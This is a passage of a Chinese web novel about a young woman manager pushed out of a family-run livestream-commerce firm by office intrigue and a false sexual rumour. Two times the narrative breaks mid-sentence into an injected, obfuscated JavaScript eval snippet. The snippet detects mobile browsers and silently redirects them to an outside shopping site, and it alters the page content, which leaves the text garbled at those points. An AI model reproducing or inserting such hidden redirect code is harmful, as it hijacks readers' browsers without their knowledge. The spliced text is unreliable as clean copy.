《被造黄谣后我旁观全司团灭》 1. 被造黄谣了 在我升职的时候,我曾很想发条圈恭喜自己:祝贺一个没资源没背景普通本科毕业的女人靠自己在职场打拼八年做到了总经理。 三个月后我很庆幸自己没发这个圈,因为这位炙手可热的总经理,上任仅仨月就被造黄谣卸任了,而且被各派系边缘化晾在一边。 而这位总经理我本人在被撤职之初,还对全司人尽皆知的谣言一无所知,直到一个多月后,我的黄谣并列对象被辞退。 某信提示音响起,“M姐,您帮我看看,这个赔偿金额合理吗?” 我看了右边和前方,没人注意到我,把那张手机拍的图打开: 本月出勤:5000÷21×16=3809.52,3809.52 -【3809.52×(10.2%+12%) + 3】=2960.81 上月工资:5000-【5000×(10.2%+12%) + 3】=3887 赔偿金:5000×50%=2500 合计:9347.81元 入职未满半年赔偿半月工资,“这算法倒是没问题。” “好的,谢谢M姐。” 我回复了他消息,还想再问怎么回事,他说还在财务室签字,办完手续再和我聊。 斜对面的选品诗诗回身问我,“M姐,这到底怎么回事啊?小Y不是W总的表弟吗,怎么会被辞退呢?” 我摇摇头,“我也不知道。” 选品娜娜也追问,“是不是L总搞他啊?” 运营哈哈一笑,“L总只是W总裁的老部下而已,Y是W总裁的表弟啊,怎么着也轮不到他一个外人搞走Y吧。” 选品诗诗还是不敢相信,“M姐你真的不知道吗?” 我皱眉摇头,“我真不知道啊,为什么觉得我会知道。” 诗诗呵呵尬笑,“你之前不是总经理吗,你也跟W总裁好多年了不是吗?” 她这话一出,大家也都目光灼灼的看着我。 我无语呼出一口气,“你们见过一个总经理说撤职就被撤职了,被扔到到一个角落晾着吗?我也就在这个公司呆了三年而已,跟L总这种十几年的老部下没法比。” 我看着对面的L总监,“别说L总了,就是L总监才被L总请来没多久的,也比我有地位啊。是吧,L总监?” 我不掩饰的嘲讽太明显了,身边的小W噗噗笑出声。我看她一眼,小姑娘憋得满脸通红。她是W总裁的小堂妹,和小Y表弟一样今年刚毕业的大学生。 L总监不以为耻地翘起嘴巴,没刮干净的胡渣一抖一抖的,打着哈哈说,“唉哟,小M你说笑了,我哪能跟L总和小Y他们比,只是W总裁比较看中我的能力而已。” “啧。”我和诗诗、娜娜都撇嘴翻个白眼。 L总监毫无所觉,甚至觉得我们是嫉妒他。他美滋滋地抽出一根烟,掏出打火机就要自顾点燃。 诗诗立即捂着嘴巴,“L总监这里有孕妇在呢,你要抽烟就去你们男厕所吧。” “呵呵,我忘了。”L总监打着哈哈出门去了。 * 下午四点不到,小Y收拾好了工位的个人物品,背着自己的电脑包就走了。诗诗等一行直播团队的十来个人都送他到了电梯口,我坐着没动,只在他起身时跟他对视了一眼点个头算道别。 我在加急给W总裁改要呈递给晋省的劳什子项目申请函,两点多才发给我的,已经连发了三条语音来催了。这官文就是讲究字斟句酌,她当是狗血小说一分钟五百字似的随便写随便改。 我真的有些厌烦,想想项目还没落地,快要落地了,再忍一忍,再忍一忍。 “M姐,谢谢你一直以来的关照指导。” 小Y发来的,这小孩木是木了点,其实性格还不错。“哪里的客气话。我也只带了你一个多月,当不得这声谢。” “真的M姐,这是我头一份工作,有你指导我才没有走歪。” “好了别说这些了,你后面准备怎么办?还找直播公司做吗?” “嗯嗯,我觉得直播还挺有意思的,还会继续做。” “好,那祝你找到一家正经的能学到真本事的直播公司。” 我继续改申请函了,他没回复我也没发现。好容易改完了给W总裁发过去了,等了五分钟她都没回复,也不知道是满意了还是在忙没看见,我懒得守着,锁了屏起身去倒水。 “L总监,小W、运营,都到我办公室来开个会。”L总在他办公室门口喊。 “来了。”我旁边的小W欢快地答应,然后捡起桌上原木色封面绘满卡通表情的笔记本,跑到最前面运营的位置等着他一起去办公室。很快,L总办公室的门关上,几人在沙发上落座哈哈笑着开始开会。 诗诗脚下划着转椅过来我对面,“M姐,我问了小Y,他说是L总几个恶意搞他走的。” 美工也从她旁边划拉着椅子过来,“M姐,L总他们好坏啊。小Y在也没碍着他们什么,为什么他们要搞走他啊。” 娜娜还有文案妹子以及中控、场控、剪辑都巴巴地伸长脖子看着我。 我耸耸肩,我哪里知道。怎么谁都以为我这里有天大的内情一样来跟我打探?先前我是总经理的时候,一个个见了我都绕路走,也没见谁这么八卦啊。 “我要有内幕何至于自己为什么被撤职都不知道吗?” 几人听我这么说,不知道信是不信,一个个都讷讷难言,打着哈哈回到各自工位去了。 直到下班,我都没收到W总裁的回复。好事,省得收到消息后烦心,我这人是个操心的命,老板的要求哪怕不用立即做,我也要惦记着到梦里都不得安生。 挤上牛马线后,我窝到门口那个角落戴着耳机玩手机。 “M姐,对不起。之前一直不知道怎么和你说,现在我也走了,觉得还是该把这事儿的真相告诉你。” 我皱着眉打开和小Y的对话框,这话啥意思?啥真相?我没追问,等着他发来消息。一等就是十多分钟没动静。 咋?我不回复他就不继续说,怕我没看见?我开始在对话框输入内容,这时,一条三十多秒的语音进来了。 我下意识先转文字,随即想到对面不是老板,而且现在已经下班了在地铁上我还戴着耳机呢,文字还在转的空当我点开了语音听起来。 文字转出来了,但语音一播放,透露的信息就已经足够爆炸。 “……你被撤职是因为W总裁听人说我俩在搞办公室恋情。这太荒谬了。我也是前不久才知道的。对不起,是我连累了你。我以为你也听说了,只是咱们都坦荡荡的所以可能你也没放在心上。可是我观察你好久了,发现你是真的不知道。不好意思现在才告诉你……” 我先是觉得不信,接着觉得荒谬,然后觉得好笑,最后觉得离谱。难怪一个个都那么八卦来问我为什么小Y被辞退,不止是因为他们觉得我之前是总经理了解公司八卦,还因为他们以为我真和小Y有恋情所以有内情。 我删掉打下的话,重新输入:“谁造的黄谣?谁参与了?这离谱的谣言都哪些人在相信啊?” “姐,你方便的话我给你打电话说吧。” “行,我下地铁打给你。” * 真的是太离谱了。 听完小Y说了这个我为主角的黄谣,挂了电话我还是觉得实在离谱。 他最终没有和我明说到底有谁参与了炮制这个离谱的黄谣,但主导的肯定是L总L总监,除此之外还能有谁呢?我撤职之后还有谁得利了?我一时还没想到有谁,但这些人总会露出马脚的。 三个月的总经理,薪资税前20,应该没有更破纪录的了吧?事实上,我并未太在意这个title是不是名不副实,作为一个自带上帝视角的瓶子,对一件事情的价值判断是有没有意义,而不是唯利益论。 总经理的title和20K根本不可能让一个瓶子甘心拼命工作并忍受职场霸凌,我的一腔孤勇只是为了这个我一手建立起来的直播项目。 这事儿还得从三年前说起。 口罩开始一年后,前司再也无法支撑宣布倒闭,居家办公的大家赶到公司发现封条都贴好了,我赔偿没拿到不说,找了两个月工作都没结果。后来终于进了一家销售食品的网店,干文策。公司仅有我一位基层员工,我的直系领导是W总裁以及食品网店公司的L总。 W总裁颇有身家,是个投资人,基本靠钱生钱,很少在手上自己运营管理项目。这个食品网店是L总介绍给她的一个小项目,一款微商属性的健康食品,宣称长期食用对肥胖和三高有奇效,非常符合W总裁的需求,因此她决定由厂家生产,自己贴牌经营,誓要打出一个新安利。自然而然地,她成立了公司后交给了L总来全部负责运营这个品牌。 起先还有个五人小团队,因一直没经营出成绩,又碰上口罩,团队解散,网店全部代运营出去,只由L总这个老部下负责盯代运营工作。招聘我进来时,只是W总裁有项目策划的需求,为了让我的工作饱和,便也让我兼任负责网店的文策工作,这部分听L总需求干活。文策工作内容繁琐,我更像是W总裁和L总的助理,这两人都不太会用电脑,所有需要办公软件完成的事情,都是我来做,如此苟了一年多,口罩结束。 网店依旧毫无起色,W总裁决定挤进直播赛道发财,并注册了新公司。她决定挤进这个赛道,一是口罩期间太多直播带货发财的案例,二是因为她下海创业之前在官方媒体工作,有很多国企央企大媒体资源。 把这些官媒拉到手里再借机链接能卖货的网红达人,然后面向网店商家招商选品搞直播带货,不仅能赚前置费用和广告赞助,还能分佣。这不比自己哼哧哼哧经营网店做产品卖产品要简单得多吗?官媒本身也在这样运作某音某手某博上的账号变现。W总裁和她的人脉们一拍即合。 根据W总裁的想法,我负责全面设计和包装过会方案,和官媒面谈磋商后他们来立项。不过一两月功夫,我俩很快拿下五个官媒签定合约!相比官媒与其他MCN机构纯商业的合作模式,有W总裁的人脉关系,加上我立意助农扶贫文化宣传的方案,我们并没有被收取时段费等费用,粉丝量普通的官媒就是纯销售后分佣合作,量级大的媒体,也只是缴纳可退还的保证金再纯佣合作。 W总裁省下了几十万,十分开心。第一个合约签下了,那就不能耽误,该立即去找网红达人和商家了。我对方案非常有信心,所以也跟W总裁表达了想参与全程执行的意愿,她见我如此能担事儿很高兴就同意了。于是我从一个纯粹的文策加入了整个直播项目的商务外联等环节,从0开始,边干边学,手头开始积累自己的达人和商务资源。 眼看万事俱备,就差直播团队拉起来我们这个项目就要热热闹闹开干,不过眼下,这新鲜出炉热腾腾的项目还没有个实际带队人。W总裁当然想自己来,虽然她先前投资的项目也没自己动手干,但我跟她就直播项目密切接触一段时间下来,明显感觉到她对直播项目的兴奋和热情。只可惜她自打二十多年前从媒体下海就没再上过班,当然坚持不了朝九晚五的节奏,何况她投资的项目太多,一天到晚的见不着人,所以,哪怕是在她手上运营,应该也必须要任命一个职业经理人。 我没有想过自荐,也没觉得自己会被选中。一来我不是她亲戚,二来我也不是她考验过好多年的忠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163807|196607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心老部下,能亲自参与到出自我手的方案里进行执行,我已经很满足。 这个直播项目的经理人我本来以为她会直接让L总兼任,毕竟那个网店是花钱让代运营在做,L总就负责盯代运营等于没事干。而且由于欠缺专业能力,他连盯代运营也盯不明白,网店一两个月都难销售出去一单产品,可以说已经是名存实亡了。 在我和W投资人没日没夜修改方案和商谈官媒期间,L总肉眼可见地从无所事事到有些惶恐,因为他也感觉自己快要成弃子了。他和W总年纪相当,已近五十,要是失去了这个工作,他将再没有工作可做。毕竟,他自打傍上W总裁的大腿,就再没有真正使出过工作能力,只应酬吃喝处理杂务。我至今仍然不知道他原本是做什么出身的。 W总裁和会计说要招聘直播团队的人,L总从会计那里得到了消息。他俩也是老搭档,会计比L总稍晚些到W总手下,倒也有七八年同事情了。会计刚进四十,离异独自带儿子多年,孩子刚上大学。L总远离家乡跟W总裁的业务东奔西走,在家中伺候他老母亲的老婆怀孕流产后坏了底子无法再孕,他一直想在外面再成个家传宗接代。 可惜他本身条件一般,找代.孕也付不起费用,他也还想要这对象同时提供性,便也一直没找到合适的。我进司之后和会计接触熟悉才得知,他曾想跟会计成这第二个家。会计自然不愿意,当然她不是不想找,只是她一定要找的是京市本地的对象,为次她甚至报名了名媛课程,连朋友圈都精心经营。 人往高处走,L总外形和经济条件都远远不达标,不可能入她的眼。只是两人在一家公司供职,名义上L总还高她一级,或者说作为老板绝对的心腹,她和L总也能平级,自然不好面上太难看。两人日常虚与委蛇,这么些年相触久了,也能自然地玩笑和打趣。 会计在招聘新人,W总裁和我都在外面跑着谈各方合作,来面试的人,自然是赋闲在公司的L总负责面试筛选。很快,他肉眼可见的再度意气风发起来,仿佛已经是铁板钉钉的直播项目总经理。不想我和第二个官媒的合同还在来回修改即将签订的时候,W总裁一个调令把L总调到了南边榕城,让他去负责那边原来投资在成熟运转的项目。 L总的这一纸调令来得很突然,不过我看看在前台聊着语音画着简笔画的小W,觉得也在情理之中。小W是W总裁的亲堂妹,她和她的妈妈O女士,也就是W总裁的亲婶婶,母女俩一直和W总裁家生活在一起,据说她都是W总裁亲自看着长大的。O女士学历一般,负责W总裁公司的杂务和后勤,而W堂妹年前就已经在公司实习了,这不再两三个月她就要正式毕业了,自然是还要在公司正式工作的。 我估摸W总裁调走L总是要给W堂妹让位置,公司掌握在自家人手中也是正常的。不想项目开干在即,W总裁也没有任命动作,我想也许她真的是想自己亲自来干,等W堂妹再历练一下再交给她? 不过这都不是重点,倒是调走了L总之后,招聘和面试都由会计负责,招了半个月也没有招来一个人。会计不想花心思,其实一天也难约来一个候选人面试。W总裁很着急,可干着急也不出结果。 某天午后,我们又签下了一个官媒,并且是手里最大的一个,有近四千万粉丝的央级媒体官号。我俩都十分开心,从媒体中心出来没往原来的小办公室去,而是直接去验收新装修的直播场地和办公室。 “小M,你来担任直播项目的总经理。”W总裁突然说。 “啊?”我以为自己听错了,要不是车里除了她的司机只有我们两个人,我甚至以为她在和第四个人说话。 W总裁好笑,“这么惊讶做什么?你的能力我看在眼里,这个直播项目除了你没有人更适合带队。你明天就走马上任,立即接手招聘,做好整个直播团队的管理规划。这赚钱的风口要抓紧,不然就过去了。明白吗?” 我已经很快从震惊中回过神来,我不是只会闷头干活的傻子,当然知道这对我意味着什么!先前我只求一个参与执行,不过是审时度势后退而求其次的想法,但只要有机会,我自己的方案当然就该由我来掌握方向,而不是听谁拿着我的方案来指导我该怎么做! “我明白!”我在舒服的宝马7系后座位上立即直起身,自信承诺,“报君黄金台上意,提携玉龙为君死。W总您放心,方案我前后仔细推敲了,只要项目顺利落地,哪怕一场,只要一场,咱们就能盈利。我接手这个工作,我保证半年内一定落地一个大型专场!” 我确实受宠若惊,怎么也没想到她会把这个重任交给我,但我也不害怕。想法虽然是她的,但她只给了一个想法,整个方案如何沟通前端后端以及平台、达人、商家三方的全部细节都是我考虑和设计的,要怎么做和能做成什么样我心里都有底。 W总从没见过我这堪称谄媚的样子,满意得满面红光,“报君黄金台上什么提携?嗯,意思我听懂了,说得特别好!好好干,你很有我当年下海创业的风范,我相信你的本事。” 我也十分开心,我一个来自农村的小姑娘,没背景没资源,大学也只是普通本科,但从毕业工作起,一步步都是我脚踏实地自己走出来的。我学国际贸易的,虽然败在英语上也没有最终入职到对口行业,但毕业做过销售做过新媒体运营做过策划,走到如今,全是靠自己肯学肯琢磨肯干。 甚至没有过问薪资待遇,我就走马上任了。会计一纸任职通知发布到寥寥几人的公司群里,自然没有掀起什么风浪。倒是远在外地的L总私聊了我一条祝贺并带了一个微笑表情包,我不知道他是否明白这个表情在我们年轻人的嘲讽含义,但考虑到他的年纪,加上我高兴,我就笑纳了,回他谢谢和一朵玫瑰。 2. 家庭作坊 上任第一天,也是我们搬进新办公场地的第一天,我分到了单独的办公室,开始了一天掰做两天用的日子,一个人也恨不能变成八个。 W总裁让会计辅助我进行招聘,她筛选简历我面试,之前L总在的时候也是这样的。可是,会计很快敲开了我办公室的门。 “M总,我也不懂怎么招聘,都是直接复制别人公司的招聘要求挂在账号上,我想着给老板省钱,也没有开通VIP,一次只能挂一个岗位,也没有什么人找我聊天。你知道的,我也很忙,手上做着老板十多个公司的账目,眼看又要到征期了,实在没空了。现在你来了,还是都交给你吧,你更专业也知道要招什么人。” 会计一番话说得十分诚恳,我也实在不想继续让她耽误工作进度,便把招聘的全部工作接手过来。花了三百多元开通VIP后,在某直聘上开启了海量的筛选简历。开通VIP就是不一样,不用找人聊也有聊不完的人。口罩后,找工作的人不要太多。 万事开头难,方案、招聘、上游下游、内部外部、架构管理我全部一手抓。W总裁第二天就指派了W堂妹来给我做助理,支持我的工作。 然鹅,指望一个在堂姐的公司实习玩耍的小姑娘能分担工作,显然是异想天开。何况,W堂妹也并没有工作和上进的心思,她正和一位小开在热恋,每天一束花抱进公司,前台已经变成了各色玫瑰的花海。 W总裁倒是对她寄予厚望,令我一定要尽快把她带出来能在工作中独当一面。我并不会敷衍对待,当前我无人可用,如果能带出来她,也能为我分担不少工作。 我把她招呼到一起,给她讲解了招聘要求,分配了两个岗位给她,和她一起筛简历。一天过后我问她结果,她却说招聘需求还没拟出来,岗位还没发布。 “我也是第一次做招聘,需求很多我也不是专业不是很了解,但是别的公司有招聘,我会去看他们的需求,综合下来再结合我们项目的需求就快要拟定明白了。你说说看是卡在了哪里,我们来一起解决。” 她闪躲着我的视线,嗫嚅半天说,“我不知道我们的项目是怎么回事,有什么需求。” 我扶额。我和W总裁做方案谈媒体快两个月了,确定好的方案就会发在公司群里,W总裁会叫其他人都看。而且,去谈合作的时候,W总裁经常也会带上W堂妹和我们同行,她算是W总裁的贴身助理角色,两人虽然差着年龄,但到底是亲的堂姐妹,关系也并不疏远,甚至相当亲近。 眼下她说根本不知道我们的项目要做什么,我也来不及再废话了,当即打开方案和她细细解说了整个项目的规划。结束后也不知道她有没有听懂,但我回到办公室花了一点时间很快把分给她的两个岗位,文案和美工的招聘需求拟定好了,她发布后就聊吧,能约来人也成。 约来了人,面试也是个极其耗费功夫的事情,我本想让W堂妹负责初面,不想她又一问三不知,我只好拟了面试需要问的问题,先陪她面两天,让她掌握一下初面的步骤,希望她能为我腾出来一些初面的时间,我去忙活别的,初面不错我再立即二面,加快进度。 * 如此又两天后,团队还没招到第一个人,但W总裁却招来了一个人,不需要面试,当场就是来入职上班的。这样的条件,不是牛人就是亲戚。果然,来人也是个马上毕业的青瓜蛋子,W总裁介绍说,这是她远房表弟小Y,也同样安排来给我做助理支持。 “你看,两个大学生,我的妹妹弟弟,都给你做助理,好好干吧!”匆匆来又走的W总裁拍拍我肩膀。我只能硬着头皮笑纳。 我也给小Y简单培训了我们的项目和目前的工作重点,把招聘分给了小Y,三个人加入招聘后情况好多了,多到我一天除了面试都快没工夫干别的活儿了。当W总裁催我要几个方案的时候,我真的希望我是孙悟空,拔几根汗毛吹出几个我来。 W总裁行事风风火火,合约签下,她就立即热络地联系起了自己认识的大品牌老板,许下要给他们的品牌做专场直播的宏愿,对方虽然迟疑于她动辄上百万的直播费用,但到底不好拒绝她,便说拿个方案来看看。她当然明白事情没那么容易,但不可能放过一丝能成的可能,于是一下子朝我扔来十几个定制方案需求。 我加班加点甚至熬夜通宵,也不可能应付得过来这么紧急大量的方案需求,何况一个巧妙的用心的方案,并不是提笔就能写就的,至少也得花时间搜集品牌信息了解品牌背景吧。 W总裁催了两三天等得不耐烦了之后,我不得不一边紧急招文策,一边将两个生瓜蛋子也抓来紧急辅导方案。W总裁没意见,最好我把她的这俩亲戚带得和我一样能干那就太棒了。两人不情不愿地开始跟我学习做方案。 我给两人把方案的逻辑讲得细之又细,还给了模板,两人只需要尽快填入品牌信息,再稍微开动脑筋为品牌带来一点点灵感即可。甚至灵感我也不强求了,整个模板框架有了,灵感我来一起想也行。 可惜,老板的亲戚,哪里是外人好劳动的?W堂妹因为和姐姐W总裁更亲近,不想做了就跟姐姐撒个娇陪着姐姐去逛街玩耍就能拖延和糊弄过去。这我哪里带得动?我只好把带人的精力更多放在小Y表弟身上。似乎这男孩也更知道他不如W堂妹有性别优势和便利,不能用撒娇耍赖这种方式糊弄,又似乎他更想要学习进步,就还算听我的话,任凭吩咐和指导。只是他确实在策划上没什么天赋,我费力带了一个月他也只能就着模板套。不过这样我已经很欣慰了,好歹让W总裁不再只抓着我要方案了。 “是吧,咱们大家一起去给老板说一声,叫她把L总调回来得了!反正榕城那边也没什么事情做,让他在那里混着浪费工资,咱这边项目正紧张需要人呢,我的宝贝晚上十二多都还在招聘,她论文也还没写完,给我哭呢,说:妈妈我都要忙死了。唉哟可怜得。” 这天中午,平时只和W总同进同出公司的O女士竟然独自来公司了,且还跟我们在园区食堂吃午饭。一个公司的人自然就坐到了一起,O女士说到L总,号召大家一起为他跟W总裁请愿,把他调回来解救这边陷入水火的女儿。 L总被调走的时候我还没被任命为总经理,如今他走了不过一个月出头,也不知道榕城的工作处理得如何,这样着急游说人脉给自己说情,难道那边很不好过?山高皇帝远的又是在那边当领导,按说该很滋润才对。 W堂妹被O女士点了一下,不依了,“妈妈人家哪有哭!我只是说我都没空写论文了。但是工作也很重要,姐姐很看好我的,要我好好干呢。” W堂妹到底没有O女士职场经验丰富,一口一个姐姐生怕别人不知道她的身份,不过O女士也不想为难女儿去改口,只她自己相对坚持在公司在办公场合一定不以W总裁的长辈自居,都是叫老板。 “唉哟,没哭呢?眼睛都红成小兔子了!”O女士宠溺地刮她鼻子。 母女俩腻歪完,O女士突然朝我看来,“我知道你们都很忙,小M和小Y一定也是大半夜还在招聘吧。要我说,咱明天就给老板说去,她明天上午要来公司接待客户。你说是吧,小M?” 我看看大家都看着我等我决断的样子,莫名道:“L总想回来,他自己不和老板说吗?我们跑去说不太合适吧,老板怕要怪我们扛不住压力没用呢。” O女士欲言又止地不说话了,大家也讪讪的各自吃饭。之后O女士再来过公司几次,也没再提起这话。 倒是某天,W总裁带着我和堂妹表弟三人一起去谈某个官媒时,堂妹开口说了句:“好忙啊,要是L总在就好了,他以前在帮我们很多忙的。” 说完她看我和小Y,暗示我们也一起开口,我和小Y对视一眼,都选择了默不作声。 “让他个废物回来做什么?我在榕城谈得好好的项目叫他去对接,他生生给我整黄了。要不是看在他跟了我十多年的情分上,我早想叫他提前退休算了。” W总裁似乎气得不轻,我们一时都没敢吭声。之后W堂妹也没再敢跟姐姐面前再提让L总回来的事情。 * 紧锣密鼓地又过了半个多月,美工、文案、剪辑和兼职主播都就位了,运营也在我精挑细选了半个月定下了一位。至于专业招商选品的BD,急也急得,不急也急不得。好的BD都自带商家资源,薪资要求高,W总裁愿意给的薪资也很少,所以哪怕面了几个合适的都因为薪资暂时搁置。 好在直播团队嘛,定了运营一切都好说。运营就位,日常自播就可以开展了。我们谈下的官媒,有些粉丝不过几十百万的量级,从来没有直播带货过,需要对账号进行基本的开播架设,且必须有日常养号动作,这些正好由运营来安排。 运营其实对薪资并不满意,他的目标薪资比我开的要高30%,但12K已经是W总裁的极限了,我无法改变。我说服了他,希望他把目光放在大专场直播上,一个项目下来,奖金不会少。大专场直播的奖励方案还在制定,他当然不会轻易被这个没影子的奖金打动。我也不蒙骗人,我承诺他如果一个月内,他能把一个直播0起步的小体量的官媒账号做到实际场观和粉丝增长,并能在直播中真实销售出去产品,就给他搞定这30%的涨薪需求。 也不需要多么亮眼,实际在线场观能达到三五十个,粉丝涨个千儿八百的,真实销售额一个月内能累计达到大几千块小一万的,完全足够。可能是我的要求太低,毕竟我也不是专业运营的,不知道合格的运营的真本事,这位运营听了我这条件,信心满满答应了。我有些担忧自己提要求低了,同时也有些高兴,他敢答应,那自然是有几分真本事的,不至于我面到的是个混子。 运营团队人员就位,这便把我们原来网店的产品上架,再加上精选联盟选过来的几个产品,开始了日常自播。 这天我在面试一个优秀的BD,L总的身影从隔断玻璃门外一闪而过,我原以为看错了,他去了会计办公室,很快又回来并推开了我办公室的门。 “你们聊,我放个东西就出去。”L总满面春风,在我对面空着的桌子上放下了他的电脑包。 这是回来了啊。看来他发动人脉和后台游说的动作还是起了作用的。不过他回来与否我觉得也不影响我的工作,他曾是我的半个上级,如今回来虽然还不明他职务,但总归不至于还当我这个总经理的上级吧?和一个办公室,那姑且算平级,反正不影响我直播项目工作就行。 然鹅,我想得太简单了。不是朋友就是敌人,这句话在职场中很多人是奉为圭臬的,甚至为此不惜阻碍正常工作以及毁掉项目,只要好处不在自己这里,那就谁都不要得到。后来我想,L总就是这样的人。 回到公司的次日一早,往日里十点多才来上班四五点就下楼没了人影的L总,破天荒在八点半就到了公司。我进门的时候没见到他人,我俩相对的工位上,也没见他开展工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163808|196607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作的痕迹,倒是看到隔壁大会议室的主位上放着他的保温杯。他是想在那里体验下指点江山的感觉吗? 我太忙了,没什么空琢磨别人。一头扎进电脑里就在改方案,W总裁精力真的旺盛,半夜两点多给我发的语音,要修改一个半个月前的方案。好在修改的内容不是很多,我估摸九点早会前能完成,我现在真的是十分理解什么叫废寝忘食争分夺秒。 早会这种耽误事的东西我真的不想弄。但是精力旺盛的W总裁早上起不来,她也基本不能经常呆在公司,但她对这个直播项目太热情了,势必要掌握每一天所有人的工作动向,所以必须每天开会,W堂妹会记录会议呈报给她。 我向她反应过想减少会议,她也不同意,认为这样掌握不了大家的工作情况。我无话可说,她这样更掌握不了,因为我很清楚每个人每天干了什么没干什么,实际上他们反而会在会上夸大汇报自己的工作情况。而且,我的新团队并不是什么没通网的人,飞某书这种高效快捷的线上协同办公方式我们都在用。我表示每个人每天都回在上面汇报工作并都能到她那里,她随时随便看都没有问题,她也不同意。因为安装的这玩意儿吧,她嫌操作麻烦还总忘记打开看。 算了,我对这种买了苹果本却不会用,还要让找师傅给她安装Windows系统才能勉强用,甚至打开也只是看看视频的人,我指望什么?她和L总以及O女士O总还停留在二三十年前的传统纸笔办公时代。总之,开会这都是形式的东西,老板一定要要就满足她好了。 * “M总,开会了,九点了。”会计才从我门口走过,又折回来喊我。 8:57,我扫了一眼显示屏右下角的时间,“来了来了。” 方案还差一点,不过就不要耽误大家时间了,速战速决回来抓紧改完,还有很多工作等着处理呢。 一出门,我就看见除了星期一之外本该在各自工位上开早会的大家都坐上了会议桌,而主位上,赫然坐着老神在在的L总,听见我出来,他还回头冲我一笑。 这是怎么地?L总要传达什么W总裁的旨意吗?我疑惑不解。因为早上在地铁上我还问了W总裁L总回来的事情,她只说让我专注直播项目不用管他,他来了照样管那网店就行,然后负责点其他她安排的杂务。 平时我们团队一般不在大会议室开会,浪费时间来回走动不说,运营这些人要汇报的数据都在电脑上,直接打开汇报最方便,总不能抱着台式电脑挪到会议室就为了开个会吧。周一是一周的开始,安排会多些,W总裁也爱挑这一天来公司,才会特地在大会议室开会。其他时候为了节省时间,都是直接在工位上迅速汇报,完毕后直接投入工作。 大会议室的主位,W总裁来的时候自然归她,她不在的周一我才会偶尔坐坐,事实上团队基本齐活以来我还没在这个主位上开会过。眼下L总坐了主位,我还待要和他说几句,会计见我出来,她惯坐的次一席座位上椅子拉开了却没坐,立即坐在了空着的第二席。 “M总,快来吧,会计给你椅子都拉好了。”L总笑得和蔼可亲,仿佛一个老实的老好人。 我看看也笑着的会计,决定给她这个面子,便道谢坐下了。 “人到齐了,你可以开始组织大家汇报了。”我人还没坐稳,L总就冲我扬扬下巴。 这话说得,不知道的还以为他是董事长我是他的职业经理人呢!我简直以为我幻听了,忍不住眯眼打量起他来。以前他也很会颐指气使,但也没这样掐尖过,我还真的一点没发现这个年纪挺大的小男人竟原本是这样一副嘴脸。 见我不答话还盯着他,他抖了抖嘴巴,好像笑意有点僵硬,他转转眼睛躲开我的视线,转去看会计。 不知道会计在想什么,很快就说,“那我开始汇报了,从我顺下去吧,blabla……” 真是一场魔幻的会议。平时我们十分钟都不需要就解决的事情,生生叫他挨个听完之后点评,最后还要做个废话总结,这还不够,大家都要准备散了,他又嘱咐大家好好干,算作是他这位领导对今天的工作方向安排,这才算心满意足不再多说了。 整整花了近四十分钟,我默默放下手机,忍了,姑且让他过这一把瘾吧。 “明天开始除非W总裁来,以后早会各自在工位简单汇报就好,速战速决不要特地来大会议室浪费时间。”放下这句话,我转身就回到办公室。背后陆续答应的声音里,不时传来 W堂妹叫那谁这谁把刚汇报的内容私发给她。 会议时间再长,W堂妹也记不下来大家都汇报了什么,后面她干脆会上也不记了,会后让人给她私发再复制粘贴,就这她能干一上午甚至一天。 我继续改着那一点内容,一边头疼地想,家庭作坊果然不靠谱,必须加快第一个大专场直播项目落地,团队尽快成长起来,这些拖后腿的亲戚跟不上了就不会添乱了。 L总给我一记下马威不成反被我将一军,早会没他装.逼逞威风的机会了,又参加一天工位速战速决式早会后,他直接恢复了十点多来上班的作息。他是网店那个公司的总经理,自然不需要到我们飞某书来打卡上下班,没人能管他。 我问及了会计这个问题,会计表示,O女士和L总都被老板强令过跟我们一起打卡上下班,但他们当面点头捣蒜转过身也不执行,老板最后无奈也就不说了。看来她这家庭作坊式混乱管理,她自己也头痛呢。 3. 塞人没完没了 这天一早,我还没到公司,就收到了W总裁的消息,说她一会儿要来公司,让我准备下最近的工作进展和她汇报。一到公司我打开电脑就在梳理近期重要事情进度,九点快到了,没先等来W总裁,倒是等来了L总,还有跟他五短身材相当的男人,看起来连年纪也相当。 “L总监,这这里就是W总裁的办公室……这里是我的办公室。哦,还有M总。早啊M总。”他一边给那个人介绍一边仿佛才看见我一样和我打招呼。 我厌烦这种当面一套背后一套的行为,“L总今天也格外早。” L总笑得大度,好像说他一个盐吃得比我这个小姑娘还多的男人不跟我计较,“我给你俩互相介绍一下,这位是L总监,今后就担任公司的商务总监,主管招商选品团队。这是M总,直播项目的总经理。” 这是哪来的委任状?我的团队被塞了级别这样高的一个高管,我本人却一无所知?我打量了一下那位干瘦又胡子拉杂的老男人,很怀疑他连什么是直播带货都不懂。 “这是W总裁任命的?”我问。 “对啊。昨天我和W总裁说好了。”L总笑得志得意满,没等我再说什么,他俩继续乐呵呵地巡游办公室去了。 我定下心来继续整理汇报内容,一会儿W总裁到了再问她是什么情况。临近十一点的时候,W总裁还不见人影,我约了面试的BD来了,只得抓紧先去面试。 “M总,W总到了在办公室等你。”L总监直接打开了门,一上午已经让他对这个办公室充满了拥有感。 “……好。”我只好和面试人说,“你稍等,我先见下总裁,等下我助理和你聊,有什么疑问都可以提出来。” 我走到门外拉上了门,“L总监以后最好先敲下门。” 